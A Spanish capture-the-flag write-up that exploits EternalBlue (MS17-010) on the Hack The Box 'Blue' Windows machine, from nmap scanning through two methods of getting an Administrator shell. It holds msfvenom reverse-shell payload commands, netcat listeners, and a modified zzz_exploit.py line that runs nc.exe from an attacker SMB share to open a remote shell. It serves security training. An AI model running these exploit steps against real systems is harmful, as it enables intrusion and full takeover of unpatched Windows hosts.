4 minute read

header-blue

Datos de la Máquina

Contenido Descripción
OS: windows
Dificultad: Fácil
Puntos: 20
Lanzamiento: 28 Jul 2017
Creadores: ch4p

Reconocimiento

Lo primero que haremos sera agregar la ip de la máquina víctima a nuestro archivo /etc/hosts, nos tendria que quedar algo asi:

hosts

Nmap

Una agregada la ip a nuestro archivo, procedemos a realizar un barrido a los 65535 puertos TCP/IP, esto lo realizaremos con el siguiente comando:

nmap -n -p- -T4 --min-rate 10000 blue.htb -oA all-tcp

Y como podemos observar en la siguiente imagen nos encontramos con los siguientes puertos abiertos:

  • 135 (msrpc)
  • 139 (netbios-ssn)
  • 445 (microsoft-ds)
  • 49152 (unknown)
  • 49155 (unknown)
  • 49156 (unknown)
  • 49157 (unknown)

enum-ports

Una vez identificados los puertos abiertos, procedemos a identificar las versiones y servicios de cada uno, al igual que le arrojaremos script para identificar más a fondo el puertos.

Esto lo haremos con el siguiente comando:

nmap -n -sCV -p 135,139,445,49152,49155,49156,49157 blue.htb -oA nmap-script

Nota: Cabe mencionar que el argumento -sCV es una union de usar -sC y -sV

nmap-scripts

Como podemos observar, los scripts anteriores nos arrojan que es un Windows 7 Professional, lo cual en caso de que aun no este parchado, muy posiblemente podria ser un EternalBlue MS17-010, para verificar esto ejecutaremos se sección de scripts vuln y safe de nmap con el siguiente comando:

nmap -n -sV --script=vuln,safe -p 135,139,445,49152,49155,49156,49157 blue.htb -oA nmap-script

nmap-vuln

Como observamos identificamos que es vulnerable.

Ahora procederemos a explotar dicha vulnerabilidad, para ello usaremos el siguiente exploit, lo cual existe 2 forma de explotarlo, 1 compilando el exploit y creando una reverse shell y la otra forma ejecutando el zzz_exploit para mandar una sesion en netcat.

Primero tendremos que clonar el repositorio:

git clone https://github.com/worawit/MS17-010.git

Antes de realizar la explotación, validaremos nuevamente que es vulnerable para ello, dentro de la carpeta MS17-010 existe un archivo llamado checker.py, lo cual lo ejecutaremos con python2

python2 MS17-010/checker.py blue.htb

Como observamos en la siguiente imágen no indica acceso denegado.

checker.py

Antes de verificar en otro sitio, verificamos el archivo checker.py, y observamos que verificar esta vulnerabilidad con usuario null.

checker.py

Lo cual para verificar nuevamente, usaremos el usuario guest. guardaremos cambios y ejecutaremos nuevamente.

checker.py

Como observamos en la siguiente imágen podemos observar que es vulnerable con usuario, guest

checker.py

1 Método

Primero para explotar la vulnerabilidad, tendremos que compilar el shellcode:

x64

nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin

x86

nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin

Una vez realizado esto tendremos que generar un payload con msfvenom:

x64

msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.14.85 --platform windows -a x64 --format raw -o sc_x64_payload.bin

x86

msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=10.10.14.85 --platform windows -a x86 --format raw -o sc_x86_payload.bin

Una vez realizado esto, crearemos un solo binario para x64 y x86:

x64

cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

x86

cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin

Una vez esto dentro de la carpeta shellcode hay un script para generar un solo binario en vez de tener 2, para esto ejecutaremos lo siguiente:

python2 MS17-010/shellcode/eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

Una vez creado esto, ahora procederemo a explotarlo, para esto, primero tendremos que abrir netcat en el puerto que especificamos:

nc -lvnp 443

Y ejecutaremos el exploit:

python2 MS17-010/eternalblue_exploit7.py blue.htb sc_all.bin

Como observamos en la siguiente imágen podemos observar que obtenemos una sesión como Administrator.

exploit

2 Método

Lo que haremos en este caso, será ejecutar el exploit llamado zzz_exploit.py, para ello modificaremos lo siguiente:

#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time

'''
MS17-010 exploit for Windows 2000 and later by sleepya

Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = 'guest'
PASSWORD = ''

luego de esto buscaremos la siguiente linea y modificaremos esto:

def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        #print('creating file c:\\pwned.txt on the target')
        #tid2 = smbConn.connectTree('C$')
        #fid2 = smbConn.createFile(tid2, '/pwned.txt')
        #smbConn.closeFile(tid2, fid2)
        #smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        service_exec(conn, r'cmd /c \\10.10.14.85\smb\nc.exe -e cmd 10.10.14.85 443')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."

Lo que haremos sera crear un servidor smb en la maquina atacante con netcat y mandarlo llamar, copiaremos lo siguiente:

cp /usr/share/windows-resources/binaries/nc.exe .

Una vez esto ejecutamos lo siguiente, para crear nuestro servidor smb:

impacket-smbserver smb $(pwd)

Copiamos netcat donde ejecutaremos netcat:

cp /usr/share/windows-resources/binaries/nc.exe .

Abrimos netcat:

rlwrap nc -lvnp 443

y ejecutamos el exploit:

python2 MS17-010/zzz_exploit.py blue.htb samr

exploit

!Happy Hacking!

Tags:

Categories:

Updated: